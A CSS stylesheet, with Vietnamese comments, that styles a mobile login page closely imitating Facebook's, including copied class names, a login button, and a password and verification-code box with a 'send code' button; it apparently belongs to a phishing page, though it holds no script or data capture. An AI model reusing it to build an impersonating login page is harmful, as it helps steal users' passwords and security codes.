* {
   padding: 0;
   margin: 0;
   box-sizing: border-box;
   font-family: Helvetica, Arial, sans-serif;
}

body {
    background-color: #d7dadd; /* Màu nền */
    color: #1d2129; /* Màu chữ */
    font-family: Arial, sans-serif; /* Phông chữ */
    margin: 0;
    padding: 0;
}
button {
   cursor: pointer;
}

.v-login_box {
   position: fixed;
   z-index: 1;
   top: 0;
   right: 0;
   left: 0;
   bottom: 0;
   background-color: #fff;
}

.v-lg-2 {
   position: fixed;
   z-index: 1;
   top: 0;
   right: 0;
   left: 0;
   bottom: 0;
   display: flex;
   justify-content: center;
   align-items: center;
}

.login-error {
   font-size: 14px;
   padding: 8px;
   color: #fff;
   background: #fa3e3e;
   margin-bottom: 9px;
}

.trctien {
   padding: 5px 8px;
   background-color: #fffbe2;
   color: #7f7212;
   border-bottom: 1px solid #e2c822;
   font-size: 14px;
   line-height: 18px;
}

.login-view-more {
   background: white;
   padding: 8px 16px;
}

.bruhhh {
   display: flex;
   align-items: center;
}

.login-view-more-img {
   padding-right: 8px;
}

.log-con {
   padding: 0 16px;
   margin: 0 auto;
   max-width: 445px;
}

.input {
   margin-bottom: 8px;
   position: relative;
}

.inputt {
   border-radius: 3px;
}

.inputtt {
   font-size: 14px;
   line-height: 18px;
   padding: 11px;
   background: #f5f6f7;
   border: 1px solid transparent;
   display: block;
   width: 100%;
}

.inputtt:focus {
   outline: none;
   border: 1px solid #1d2129;
   border-radius: 4px;
}

.input::before {
   border-color: rgba(0, 0, 0, .07) rgba(0, 0, 0, .11) rgba(0, 0, 0, .18);
   border-radius: 4px;
   border-style: solid;
   border-width: 1px;
   bottom: -1px;
   content: '';
   left: -1px;
   pointer-events: none;
   position: absolute;
   right: -1px;
   top: -1px;
   border-radius: 0;
   border-width: 6px 6px 8px 6px;
   bottom: -4px;
   color: transparent;
   left: -2px;
   right: -2px;
   top: -2px;
}

.login-btnnn {
   font-size: 17px;
   height: 40px;
   line-height: 40px;
   width: 100%;
   background-color: #1877f2;
   border: none;
   border-radius: 4px;
   color: #fff;
   font-weight: bold;
   cursor: pointer;
}

.forgot {
   margin-top: 12px;
   color: #216fdb;
   font-family: 'Roboto-Regular', 'Helvetica', 'sans-serif';
   font-size: 14px;
   line-height: 16px;
   text-decoration: none;
   text-align: center;
   display: block;
}

.or-login {
   margin: 12px 0 4px 0;
   width: 100%;
   overflow: hidden;
   text-align: center;
}

.or-login span {
   display: inline-block;
   position: relative;
   text-align: center;
   color: #4b4f56;
   font-size: 14px;
}

.or-login span::before {
   margin-right: 15px;
   right: 100%;
   background: #ccd0d5;
   content: '';
   height: 1px;
   position: absolute;
   top: 50%;
   width: 9999px;
}

.or-login span::after {
   left: 100%;
   margin-left: 15px;
   background: #ccd0d5;
   content: '';
   height: 1px;
   position: absolute;
   top: 50%;
   width: 9999px;
}

.reg-acc {
   margin: 12px 0 12px 0;
   border-radius: 4px;
   background: white;
   border-color: #bec3c9;
   border-style: solid;
   border-width: 1px;
   box-shadow: none;
   color: #000;
   display: inline-block;
   flex: none;
   font-size: 15px;
   font-style: normal;
   font-weight: 500;
   letter-spacing: -0.23px;
   text-align: center;
   text-shadow: none;
   white-space: nowrap;
   width: 80%;
   padding: 4px 8px 3px;
   text-decoration: none;
   line-height: 27px;
}

.log-footer {
   margin-top: 75px;
   padding: 8px;
   text-align: center;
   display: flex;
}

.item-fot {
   -webkit-flex: 1;
   flex: 1;
   min-width: 0;
   width: 0;
}

.lang {
   text-align: center;
}

.lang-span {
   font-size: 12px;
   line-height: 16px;
}

.lang-span a {
   color: #576b95;
   cursor: pointer;
   text-decoration: none;
}

._8qtf {
   margin: 12px 0 4px 0;
   width: 100%;
}

._43mg {
   display: block;
   overflow: hidden;
   text-align: center;
   white-space: nowrap;
}

._43mg>span {
   display: inline-block;
   position: relative;
}

._43mh {
   color: #4b4f56;
}

._43mg>span:before {
   margin-right: 15px;
   right: 100%;
}

._43mg>span:before,
._43mg>span:after {
   background: #ccd0d5;
   content: '';
   height: 1px;
   position: absolute;
   top: 50%;
   width: 9999px;
}

._43mg>span:after {
   left: 100%;
   margin-left: 15px;
}

._43mg>span:before,
._43mg>span:after {
   background: #ccd0d5;
   content: '';
   height: 1px;
   position: absolute;
   top: 50%;
   width: 9999px;
}

.reg_new {
   margin-top: 15px;
   background: white;
   border-color: #bec3c9;
   border-style: solid;
   border-width: 1px;
   color: #000;
   border-radius: 2px;
   display: block;
   width: 80%;
   height: 35px;
   font-size: 14px;
}

.touch ._5ui3 {
   padding: 6px;
}

.touch ._5ui2 ._ao4m {
   display: flex;
   flex-direction: column;
   min-height: 30vh;
   text-align: center;
}

._96qv {
   margin: 4px 10px;
   padding: 2px;
   text-align: center;
   word-break: break-word;
}

.touch ._96qv ._96qw {
   color: #8a8d91;
}

._9a0a ._96qw {
   margin: 2px 0;
   padding: 0 1px;
}

.touch a {
   color: #576b95;
   cursor: pointer;
   text-decoration: none;
}

._96qw {
   display: inline-block;
   font-size: 10px;
   line-height: 13px;
   margin: 2px 3px;
   padding: 0 2px;
   position: relative;
   top: -2px;
   white-space: nowrap;
   word-break: keep-all;
}

.pass-box {
   background-color: #fff;
   border-color: #d1d2d5 #d1d2d5 #c5c6c8 #c5c6c8;
   margin: 0 3px;
   width: 614px;
   border-style: solid;
   border-width: 1px;
}

.pass-title {
   padding: 12px 0;
   margin: 0 12px;
   font-size: 14px;
   font-weight: bold;
   border-bottom: 1px solid #c5c6c8;
}

.pass-pass {
   font-size: 14px;
   font-weight: bold;
}

.pass-content {
   padding: 12px;
}

.pass-content2 {
   padding: 0 12px 12px 12px;
}

.pass-type {
   border: 1px solid #ccd0d5;
   border-radius: 0;
   margin: 0;
   padding: 3px;
   margin-bottom: 12px;
   font-size: 12px;
}

.pass-contents {
   font-size: 14px;
   margin-top: 12px;
   padding-bottom: 10px;
}

.pass-code {
   font-size: 14px;
   padding-bottom: 10px;
}

.pass-foot {
   padding-bottom: 12px;
   display: flex;
   justify-content: flex-end;
   margin: 0 12px;
}

.pass-divide {
   width: 100%;
   background-color: #c5c6c8;
   height: .5px;
}

.send-code {
   color: #fff;
   line-height: 26px;
   padding: 0 10px;
   background-color: #4267b2;
   border-color: #4267b2;
   border: 1px solid;
   border-radius: 2px;
   font-size: 12px;
   font-weight: bold;
   padding: 0 8px;
   position: relative;
   text-align: center;
}